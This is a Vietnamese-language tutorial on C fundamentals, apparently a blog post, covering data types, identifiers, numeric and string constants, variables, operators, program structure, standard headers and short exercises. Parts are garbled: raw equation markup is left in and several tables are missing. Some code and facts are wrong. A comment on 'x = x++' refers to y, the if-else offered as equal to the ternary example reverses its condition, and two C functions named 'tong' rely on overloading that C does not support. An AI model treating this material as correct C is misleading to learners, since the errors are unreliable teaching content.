Kiểu số nguyên là kiểu dữ liệu dùng để lưu các giá trị nguyên hay còn gọi là kiểu đếm được. Kiểu số nguyên trong C được chia thành các kiểu dữ liệu con, mỗi kiểu có một miền giá trị khác nhau
Kiểu số nguyên 1 byte (8 bits)
Kiểu số nguyên một byte gồm có 2 kiểu sau:

                    
Kiểu unsigned char: lưu các số nguyên dương từ 0 đến 255.
=> Để khai báo một biến là kiểu ký tự thì ta khai báo biến kiểu unsigned char. Mỗi số trong miền giá trị của kiểu unsigned char tương ứng với một ký tự trong bảng mã ASCII .
Kiểu char: lưu các số nguyên từ -128 đến 127. Kiểu char sử dụng bit trái nhất để làm bit dấu.
=> Nếu gán giá trị > 127 cho biến kiểu char thì giá trị của biến này có thể là số âm (?).
Kiểu số nguyên 2 bytes (16 bits)
Kiểu số nguyên 2 bytes gồm có 4 kiểu sau:

          

         
Kiểu enum, short int, int : Lưu các số nguyên từ -32768 đến 32767. Sử dụng bit bên trái nhất để làm bit dấu.
=> Nếu gán giá trị >32767 cho biến có 1 trong 3 kiểu trên thì giá trị của biến này có thể là số âm.
Kiểu unsigned int: Kiểu unsigned int lưu các số nguyên dương từ 0 đến 65535.
Kiểu số nguyên 4 byte

       
Mỗi kiểu số thực ở trên đều có miền giá trị và độ chính xác (số số lẻ) khác nhau. Tùy vào nhu cầu sử dụng mà ta có thể khai báo biến thuộc 1 trong 3 kiểu trên.
Ngoài ra ta còn có kiểu dữ liệu void, kiểu này mang ý nghĩa là kiểu rỗng không chứa giá trị gì cả.

   
Tên và hằng trong C
Tên (danh biểu)
Tên hay còn gọi là danh biểu (identifier) được dùng để đặt cho chương trình, hằng, kiểu, biến, chương trình con... Tên có hai loại là tên chuẩn và tên do người lập trình đặt.
Tên chuẩn là tên do C đặt sẵn như tên kiểu: int, char, float,…; tên hàm: sin, cos...
Tên do người lập trình tự đặt để dùng trong chương trình của mình. Sử dụng bộ chữ cái, chữ số và dấu gạch dưới (_) để đặt tên, nhưng phải tuân thủ quy tắc:

    * Bắt đầu bằng một chữ cái hoặc dấu gạch dưới.
    * Không có khoảng trống ở giữa tên.
    * Không được trùng với từ khóa.
    * Độ dài tối đa của tên là không giới hạn, tuy nhiên chỉ có 31 ký tự đầu tiên là có ý nghĩa.
    * Không cấm việc đặt tên trùng với tên chuẩn nhưng khi đó ý nghĩa của tên chuẩn không còn giá trị nữa.

Ví dụ: tên do người lập trình đặt: Chieu_dai, Chieu_Rong, Chu_Vi, Dien_Tich
Tên không hợp lệ: Do Dai, 12A2,…
Hằng (Constant)
Là đại lượng không đổi trong suốt quá trình thực thi của chương trình.
Hằng có thể là một chuỗi ký tự, một ký tự, một con số xác định. Chúng có thể được biểu diễn hay định dạng (Format) với nhiều dạng thức khác nhau.
Hằng số thực
Số thực bao gồm các giá trị kiểu float, double, long double được thể hiện theo 2 cách sau:
- Cách 1: Sử dụng cách viết thông thường mà chúng ta đã sử dụng trong các môn Toán, Lý, …Điều cần lưu ý là sử dụng dấu thập phân là dấu chấm (.);
Ví dụ: 123.34-223.3333.00-56.0
- Cách 2: Sử dụng cách viết theo số mũ hay số khoa học. Một số thực được tách làm 2 phần, cách nhau bằng ký tự e hay E
Phần giá trị: là một số nguyên hay số thực được viết theo cách 1.
Phần mũ: là một số nguyên
Giá trị của số thực là: Phần giá trị nhân với 10 mũ phần mũ.
Ví dụ: 1234.56e-3= 1.23456 (là số 1234.56 * 10-3)
 -123.45E4 = -1234500 ( là -123.45 *104)
Hằng số nguyên
Số nguyên gồm các kiểu int (2 bytes) , long (4 bytes) được thể hiện theo những cách sau.
- Hằng số nguyên 2 bytes (int) hệ thập phân: Là kiểu số mà chúng ta sử dụng thông thường, hệ thập phân sử dụng các ký số từ 0 đến 9 để biểu diễn một giá trị nguyên.
Ví dụ: 123 ( một trăm hai mươi ba), -242 ( trừ hai trăm bốn mươi hai).
- Hằng số nguyên 2 byte (int) hệ bát phân: Là kiểu số nguyên sử dụng 8 ký số từ 0 đến 7 để biểu diễn một số nguyên.
Cách biểu diễn: 0<các ký số từ 0 đến 7>
Ví dụ : 0345 (số 345 trong hệ bát phân)
-020 (số -20 trong hệ bát phân)
Cách tính giá trị thập phân của số bát phân như sau:
Số bát phân : 0dndn-1dn-2…d1d0 ( di có giá trị từ 0 đến 7)
=> Giá trị thập phân=
∑i=0ndi∗8i∑i=0ndi∗8i size 12{ Sum cSub { size 8{i=0} }  cSup { size 8{n} }  {d rSub { size 8{i} } *8 rSup { size 8{i} } } } {}
0345=229 , 020=16
- Hằng số nguyên 2 byte (int) hệ thập lục phân: Là kiểu số nguyên sử dụng 10 ký số từ 0 đến 9 và 6 ký tự A, B, C, D, E ,F để biểu diễn một số nguyên.
Ký tự  giá trị
A10
B11
C12
D13
E14
F15
Cách biểu diễn: 0x<các ký số từ 0 đến 9 và 6 ký tự từ A đến F>
Ví dụ:
0x345 (số 345 trong hệ 16)
0x20 (số 20 trong hệ 16)
0x2A9 (số 2A9 trong hệ 16)
Cách tính giá trị thập phân của số thập lục phân như sau:
Số thập lục phân : 0xdndn-1dn-2…d1d0 ( di từ 0 đến 9 hoặc A đến F)
=> Giá trị thập phân=
∑i=0ndi∗16i∑i=0ndi∗16i size 12{ Sum cSub { size 8{i=0} }  cSup { size 8{n} }  {d rSub { size 8{i} } *"16" rSup { size 8{i} } } } {}
0x345=827 , 0x20=32 , 0x2A9= 681
- Hằng số nguyên 4 byte (long): Số long (số nguyên dài) được biểu diễn như số int trong hệ thập phân và kèm theo ký tự l hoặc L. Một số nguyên nằm ngoài miền giá trị của số int ( 2 bytes) là số long ( 4 bytes).
Ví dụ: 45345L hay 45345l hay 45345
- Các hằng số còn lại: Viết như cách viết thông thường (không có dấu phân cách giữa 3 số)
Ví dụ:
12 (mười hai)
12.45 (mười hai chấm 45)
1345.67 (một ba trăm bốn mươi lăm chấm sáu mươi bảy)
Hằng ký tự
Hằng ký tự là một ký tự riêng biệt được viết trong cặp dấu nháy đơn (‘). Mỗi một ký tự tương ứng với một giá trị trong bảng mã ASCII. Hằng ký tự cũng được xem như trị số nguyên.
Ví dụ: ‘a’, ‘A’, ‘0’, ‘9’
Chúng ta có thể thực hiện các phép toán số học trên 2 ký tự (thực chất là thực hiện phép toán trên giá trị ASCII của chúng)
Hằng chuỗi ký tự
Hằng chuỗi ký tự là một chuỗi hay một xâu ký tự được đặt trong cặp dấu nháy kép (“).
Ví dụ: “Ngon ngu lap trinh C”, “Khoa CNTT-DHCT”, “NVLinh-DVHieu”
Chú ý:
1. Một chuỗi không có nội dung “” được gọi là chuỗi rỗng.
2. Khi lưu trữ trong bộ nhớ, một chuỗi được kết thúc bằng ký tự NULL (‘\0’: mã Ascii là 0).
3. Để biểu diễn ký tự đặc biệt bên trong chuỗi ta phải thêm dấu \ phía trước.
Ví dụ: “I’m a student” phải viết “I\’m a student”
“Day la ky tu “dac biet”” phải viết “Day la ky tu \”dac biet\”“

   
BIẾN VÀ BIỂU THỨC
Biến
Biến là một đại lượng được người lập trình định nghĩa và được đặt tên thông qua việc khai báo biến. Biến dùng để chứa dữ liệu trong quá trình thực hiện chương trình và giá trị của biến có thể bị thay đổi trong quá trình này. Cách đặt tên biến giống như cách đặt tên đã nói trong phần trên.
Mỗi biến thuộc về một kiểu dữ liệu xác định và có giá trị thuộc kiểu đó.
Cú pháp khai báo biến:
<Kiểu dữ liệu> Danh sách các tên biến cách nhau bởi dấu phẩy;
Ví dụ:
int a, b, c;  /*Ba biến a, b,c có kiểu int*/
long int chu_vi; /*Biến chu_vi có kiểu long*/
float nua_chu_vi; /*Biến nua_chu_vi có kiểu float*/
double dien_tich; /*Biến dien_tich có kiểu double*/
Lưu ý: Để kết thúc 1 lệnh phải có dấu chấm phẩy (;) ở cuối lệnh.
Vị trí khai báo biến trong C
Trong ngôn ngữ lập trình C, ta phải khai báo biến đúng vị trí. Nếu khai báo (đặt các biến) không đúng vị trí sẽ dẫn đến những sai sót ngoài ý muốn mà người lập trình không lường trước (hiệu ứng lề). Chúng ta có 2 cách đặt vị trí của biến như sau:
a) Khai báo biến ngoài: Các biến này được đặt bên ngoài tất cả các hàm và nó có tác dụng hay ảnh hưởng đến toàn bộ chương trình (còn gọi là biến toàn cục).
Ví dụ:
int i; /*Bien ben ngoai */
float pi; /*Bien ben ngoai*/
int main()
{ … }
b) Khai báo biến trong: Các biến được đặt ở bên trong hàm, chương trình chính hay một khối lệnh. Các biến này chỉ có tác dụng hay ảnh hưởng đến hàm, chương trình hay khối lệnh chứa nó. Khi khai báo biến, phải đặt các biến này ở đầu của khối lệnh, trước các lệnh gán, …
Ví dụ 1:
#include <stdio.h>
#include<conio.h>
int bienngoai;/*khai bao bien ngoai*/
int main ()
{ int j,i;/*khai bao bien ben trong chuong trinh chinh*/
clrscr();
i=1; j=2;
bienngoai=3;
printf("\n Gia7 tri cua i la %d",i);
/*%d là số nguyên, sẽ biết sau */
printf("\n Gia tri cua j la %d",j);
printf("\n Gia tri cua bienngoai la %d",bienngoai);
getch();
return 0;
}
Ví dụ 2:
#include <stdio.h>
#include<conio.h>
int main ()
{ int i, j;/*Bien ben trong*/
clrscr();
i=4; j=5;
printf("\n Gia tri cua i la %d",i);
printf("\n Gia tri cua j la %d",j);
if(j>i)
{
int hieu=j-i; /*Bien ben trong */
printf("\n Hieu so cua j tru i la %d",hieu);
}
else
{
int hieu=i-j; /*Bien ben trong*/
printf("\n Gia tri cua i tru j la %d",hieu);
}
getch();
return 0;
}
Biểu thức
Biểu thức là một sự kết hợp giữa các toán tử (operator) và các toán hạng (operand) theo đúng một trật tự nhất định.
Mỗi toán hạng có thể là một hằng, một biến hoặc một biểu thức khác.
Trong trường hợp, biểu thức có nhiều toán tử, ta dùng cặp dấu ngoặc đơn () để chỉ định toán tử nào được thực hiện trước.
Ví dụ: Biểu thức nghiệm của phương trình bậc hai:
(-b + sqrt(Delta))/(2*a)
Trong đó 2 là hằng; a, b, Delta là biến.
Các toán tử số học
Trong ngôn ngữ C, các toán tử +, -, *, / làm việc tương tự như khi chúng làm việc trong các ngôn ngữ khác. Ta có thể áp dụng chúng cho đa số kiểu dữ liệu có sẵn được cho phép bởi C. Khi ta áp dụng phép / cho một số nguyên hay một ký tự, bất kỳ phần dư nào cũng bị cắt bỏ. Chẳng hạn, 5/2 bằng 2 trong phép chia nguyên.
         
Tăng và giảm (++ & --)
Toán tử ++ thêm 1 vào toán hạng của nó và – trừ bớt 1. Nói cách khác:
x = x + 1 giống như ++x
x = x – 1 giống như x—
Cả 2 toán tử tăng và giảm đều có thể tiền tố (đặt trước) hay hậu tố (đặt sau) toán hạng. Ví dụ:x = x + 1 có thể viết x++ (hay ++x)
Tuy nhiên giữa tiền tố và hậu tố có sự khác biệt khi sử dụng trong 1 biểu thức. Khi 1 toán tử tăng hay giảm đứng trước toán hạng của nó, C thực hiện việc tăng hay giảm trước khi lấy giá trị dùng trong biểu thức. Nếu toán tử đi sau toán hạng, C lấy giá trị toán hạng trước khi tăng hay giảm nó. Tóm lại:
x = 10
y = ++x //y = 11
Tuy nhiên:
x = 10
x = x++ //y = 10
Thứ tự ưu tiên của các toán tử số học:
++ -- sau đó là * / % rồi mới đến + -
Các toán tử quan hệ và các toán tử Logic
Ý tưởng chính của toán tử quan hệ và toán tử Logic là đúng hoặc sai. Trong C mọi giá trị khác 0 được gọi là đúng, còn sai là 0. Các biểu thức sử dụng các toán tử quan hệ và Logic trả về 0 nếu sai và trả về 1 nếu đúng.
       

Các toán tử quan hệ và Logic đều có độ ưu tiên thấp hơn các toán tử số học. Do đó một biểu thức như: 10 > 1+ 12 sẽ được xem là 10 > (1 + 12) và kết quả là sai (0).
Ta có thể kết hợp vài toán tử lại với nhau thành biểu thức như sau:
10>5&&!(10<9)||3<=4  Kết quả là đúng
Thứ tự ưu tiên của các toán tử quan hệ là Logic

Các toán tử Bitwise:
Các toán tử Bitwise ý nói đến kiểm tra, gán hay sự thay đổi các Bit thật sự trong 1 Byte của Word, mà trong C chuẩn là các kiểu dữ liệu và biến char, int. Ta không thể sử dụng các toán tử Bitwise với dữ liệu thuộc các kiểu float, double, long double, void hay các kiểu phức tạp khác.
  
Toán tử ? cùng với :
C có một toán tử rất mạnh và thích hợp để thay thế cho các câu lệnh của If-Then-Else. Cú pháp của việc sử dụng toán tử ? là:
E1?E2:E3
Trong đó E1, E2, E3 là các biểu thức.
Ý nghĩa: Trước tiên E1 được ước lượng, nếu đúng E2 được ước lượng và nó trở thành giá trị của biểu thức; nếu E1 sai, E2 được ước lượng và trở thành giá trị của biểu thức.
Ví dụ:
X = 10
Y = X > 9 ? 100 : 200
Thì Y được gán giá trị 100, nếu X nhỏ hơn 9 thì Y sẽ nhận giá trị là 200. Đoạn mã này tương đương cấu trúc if như sau:
X = 10
if (X < 9) Y = 100
else Y = 200
Toán tử con trỏ & và *
Một con trỏ là địa chỉ trong bộ nhớ của một biến. Một biến con trỏ là một biến được khai báo riêng để chứa một con trỏ đến một đối tượng của kiểu đã chỉ ra nó. Ta sẽ tìm hiểu kỹ hơn về con trỏ trong chương về con trỏ. Ở đây, chúng ta sẽ đề cập ngắn gọn đến hai toán tử được sử dụng để thao tác với các con trỏ.
Toán tử thứ nhất là &, là một toán tử quy ước trả về địa chỉ bộ nhớ của hệ số của nó.
Ví dụ:m = &count
Đặt vào biến m địa chỉ bộ nhớ của biến count.
Chẳng hạn, biến count ở vị trí bộ nhớ 2000, giả sử count có giá trị là 100. Sau câu lệnh trên m sẽ nhận giá trị 2000.
Toán tử thứ hai là *, là một bổ sung cho &; đây là một toán tử quy ước trả về giá trị của biến được cấp phát tại địa chỉ theo sau đó.
Ví dụ:q = *m
Sẽ đặt giá trị của count vào q. Bây giờ q sẽ có giá trị là 100 vì 100 được lưu trữ tại địa chỉ 2000.
Toán tử dấu phẩy ,
Toán tử dấu , được sử dụng để kết hợp các biểu thức lại với nhau. Bên trái của toán tử dấu , luôn được xem là kiểu void. Điều đó có nghĩa là biểu thức bên phải trở thành giá trị của tổng các biểu thức được phân cách bởi dấu phẩy.
Ví dụ:x = (y=3,y+1);
Trước hết gán 3 cho y rồi gán 4 cho x. Cặp dấu ngoặc đơn là cần thiết vì toán tử dấu , có độ ưu tiên thấp hơn toán tử gán.
Xem các dấu ngoặc đơn và cặp dấu ngoặc vuông là toán tử
Trong C, cặp dấu ngoặc đơn là toán tử để tăng độ ưu tiên của các biểu thức bên trong nó.
Các cặp dấu ngoặc vuông thực hiện thao tác truy xuất phần tử trong mảng.

VI.2.9 Cách viết tắt trong C
Có nhiều phép gán khác nhau, đôi khi ta có thể sử dụng viết tắt trong C nữa. Chẳng hạn:
x = x + 10 được viết thànhx +=10
Toán tử += báo cho chương trình dịch biết để tăng giá trị của x lên 10.
Cách viết này làm việc trên tất cả các toán tử nhị phân (phép toán hai ngôi) của C. Tổng quát:
(Biến) = (Biến)(Toán tử)(Biểu thức)
có thể được viết:
(Biến)(Toán tử)=(Biểu thức)

   
CẤU TRÚC CỦA MỘT CHƯƠNG TRÌNH C
Tiền xử lý và biên dịch
Trong C, việc dịch (translation) một tập tin nguồn được tiến hành trên hai bước hoàn toàn độc lập với nhau:
- Tiền xử lý.
- Biên dịch.
Hai bước này trong phần lớn thời gian được nối tiếp với nhau một cách tự động theo cách thức mà ta có ấn tượng rằng nó đã được thực hiện như là một xử lý duy nhất. Nói chung, ta thường nói đến việc tồn tại của một bộ tiền xử lý (preprocessor?) nhằm chỉ rõ chương trình thực hiện việc xử lý trước. Ngược lại, các thuật ngữ trình biên dịch hay sự biên dịch vẫn còn nhập nhằng bởi vì nó chỉ ra khi thì toàn bộ hai giai đoạn, khi thì lại là giai đoạn thứ hai.
Bước tiền xử lý tương ứng với việc cập nhật trong văn bản của chương trình nguồn, chủ yếu dựa trên việc diễn giải các mã lệnh rất đặc biệt gọi là các chỉ thị dẫn hướng của bộ tiền xử lý (destination directive of preprocessor); các chỉ thị này được nhận biết bởi chúng bắt đầu bằng ký hiệu (symbol) #.
Hai chỉ thị quan trọng nhất là:
- Chỉ thị sự gộp vào của các tập tin nguồn khác: #include
- Chỉ thị việc định nghĩa các macros hoặc ký hiệu: #define
Chỉ thị đầu tiên được sử dụng trước hết là nhằm gộp vào nội dung của các tập tin cần có (header file), không thể thiếu trong việc sử dụng một cách tốt nhất các hàm của thư viện chuẩn, phổ biến nhất là:
#include <stdio.h>
Chỉ thị thứ hai rất hay được sử dụng trong các tập tin thư viện (header file) đã được định nghĩa trước đó và thường được khai thác bởi các lập trình viên trong việc định nghĩa các ký hiệu như là:
#define NB_COUPS_MAX 100
#define SIZE 25
Cấu trúc một chương trình C
Một chương trình C bao gồm các phần như: Các chỉ thị tiền xử lý, khai báo biến ngoài, các hàm tự tạo, chương trình chính (hàm main).
Cấu trúc có thể như sau:
Các chỉ thị tiền xử lý (Preprocessor directives)#include <Tên tập tin thư viện>#define ….
Định nghĩa kiểu dữ liệu (phần này không bắt buộc): dùng để đặt tên lại cho một kiểu dữ liệu nào đó để gợi nhớ hay đặt 1 kiểu dữ liệu cho riêng mình dựa trên các kiểu dữ liệu đã có.Cú pháp: typedef <Tên kiểu cũ> <Tên kiểu mới>Ví dụ: typedef int SoNguyen; // Kiểu SoNguyen là kiểu int
Khai báo các prototype (tên hàm, các tham số, kiểu kết quả trả về,… của các hàm sẽ cài đặt trong phần sau, phần này không bắt buộc): phần này chỉ là các khai báo đầu hàm, không phải là phần định nghĩa hàm.
Khai báo các biến ngoài (các biến toàn cục) phần này không bắt buộc: phần này khai báo các biến toàn cục được sử dụng trong cả chương trình.
Chương trình chính phần này bắt buộc phải có<Kiểu dữ liệu trả về> main(){Các khai báo cục bộ trong hàm main: Các khai báo này chỉ tồn tại trong hàm mà thôi, có thể là khai báo biến hay khai báo kiểu.Các câu lệnh dùng để định nghĩa hàm mainreturn <kết quả trả về>; // Hàm phải trả về kết quả}
Cài đặt các hàm<Kiểu dữ liệu trả về> function1( các tham số){Các khai báo cục bộ trong hàm.Các câu lệnh dùng để định nghĩa hàmreturn <kết quả trả về>;}…
Lưu ý: Một số tập tin header thường dùng:
Một chương trình C bắt đầu thực thi từ hàm main (thông thường là từ câu lệnh đầu tiên đến câu lệnh cuối cùng).
Các tập tin thư viện thông dụng
Đây là các tập tin chứa các hàm thông dụng khi lập trinh C, muốn sử dụng các hàm trong các tập tin header này thì phải khai báo #include <Tên tập tin> ở phần đầu của chương trình
1) stdio.h: Tập tin định nghĩa các hàm vào/ra chuẩn (standard input/output). Gồm các hàm in dữ liệu (printf()), nhập giá trị cho biến (scanf()), nhận ký tự từ bàn phím (getc()), in ký tự ra màn hình (putc()), nhận một dãy ký tự từ bàm phím (gets()), in chuỗi ký tự ra màn hình (puts()), xóa vùng đệm bàn phím (fflush()), fopen(), fclose(), fread(), fwrite(), getchar(), putchar(), getw(), putw()…
2) conio.h : Tập tin định nghĩa các hàm vào ra trong chế độ DOS (DOS console). Gồm các hàm clrscr(), getch(), getche(), getpass(), cgets(), cputs(), putch(), clreol(),…
3) math.h: Tập tin định nghĩa các hàm tính toán gồm các hàm abs(), sqrt(), log(). log10(), sin(), cos(), tan(), acos(), asin(), atan(), pow(), exp(),…
4) alloc.h: Tập tin định nghĩa các hàm liên quan đến việc quản lý bộ nhớ. Gồm các hàm calloc(), realloc(), malloc(), free(), farmalloc(), farcalloc(), farfree(), …
5) io.h: Tập tin định nghĩa các hàm vào ra cấp thấp. Gồm các hàm open(), _open(), read(), _read(), close(), _close(), creat(), _creat(), creatnew(), eof(), filelength(), lock(),…
6) graphics.h: Tập tin định nghĩacác hàm liên quan đến đồ họa. Gồm initgraph(), line(), circle(), putpixel(), getpixel(), setcolor(), …
Còn nhiều tập tin khác nữa.
Cú pháp khai báo các phần bên trong môt chương trình C
Chỉ thị #include để sử dụng tập tin thư viện
Cú pháp:
#include <Tên tập tin> // Tên tập tin được đạt trong dấu <>
hay #include “Tên đường dẫn”
Menu Option của Turbo C có mục INCLUDE DIRECTORIES, mục này dùng để chỉ định các tập tin thư viện được lưu trữ trong thư mục nào.
Nếu ta dùng #include<Tên tập tin> thì Turbo C sẽ tìm tập tin thư viện trong thư mục đã được xác định trong INCLUDE DIRECTORIES.
Ví dụ: include <stdio.h>
Nếu ta dùng #include”Tên đường dẫn” thì ta phải chỉ rõ tên ở đâu, tên thư mục và tập tin thư viện.
Ví dụ:#include”C:\\TC\\math.h”
Trong trường hợp tập tin thư viện nằm trong thư mục hiện hành thì ta chỉ cần đưa tên tập tin thư viện. Ví dụ: #include”math.h”.
Ví dụ:
#include <stdio.h>
#include <conio.h>
#include “math.h”
Chỉ thị #define để định nghĩa hằng số
Cú pháp:
#define <Tên hằng> <Giá trị>
Ví dụ:
#define MAXINT 32767
Khai báo các prototype của hàm
Cú pháp:
<Kiểu kết quả trả về> Tên hàm (danh sách đối số)
Ví dụ:
long giaithua( int n); //Hàm tính giai thừa của số nguyên n
double x_mu_y(float x, float y);/*Hàm tính x mũ y*/
Cấu trúc của hàm “bình thường”
Cú pháp:
<Kiểu kết quả trả về> Tên hàm (các đối số)
{
Các khai báo và các câu lệnh định nghĩa hàm
return kết quả;
}
Ví dụ:
int tong(int x, int y) /*Hàm tính tổng 2 số nguyên*/
{
return (x+y);
}
float tong(float x, float y) /*Hàm tính tổng 2 số thực*/
{
return (x+y);
}
Cấu trúc của hàm main
Hàm main chính là chương trình chính, gồm các lệnh xử lý, các lời gọi các hàm khác.
Cú pháp:
<Kết quả trả về> main( đối số)
{
Các khai báo và các câu lệnh định nghĩa hàm
return <kết quả>;
}
Ví dụ 1:
int main()
{
printf(“Day la chuong trinh chinh”);
getch();
return 0;
}
Ví dụ 2:
int main()
{
int a=5, b=6,c;
float x=3.5, y=4.5,z;
printf(“Day la chuong trinh chinh”);
c=tong(a,b);
printf(“\n Tong cua %d va %d la %d”,a,b,c);
z=tong(x,y);
printf(“\n Tong cua %f và %f là %f”, x,y,z);
getch();
return 0;
}

   
BÀI TẬP
Bài 1: Biểu diễn các hằng số nguyên 2 byte sau đây dưới dạng số nhị phân, bát phân, thập lục phân
a)12b) 255c) 31000d) 32767e) -32768
Bài 2: Biểu diễn các hằng ký tự sau đây dưới dạng số nhị phân, bát phân.
a) ‘A’b) ’a’c) ‘Z’d) ’z’


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive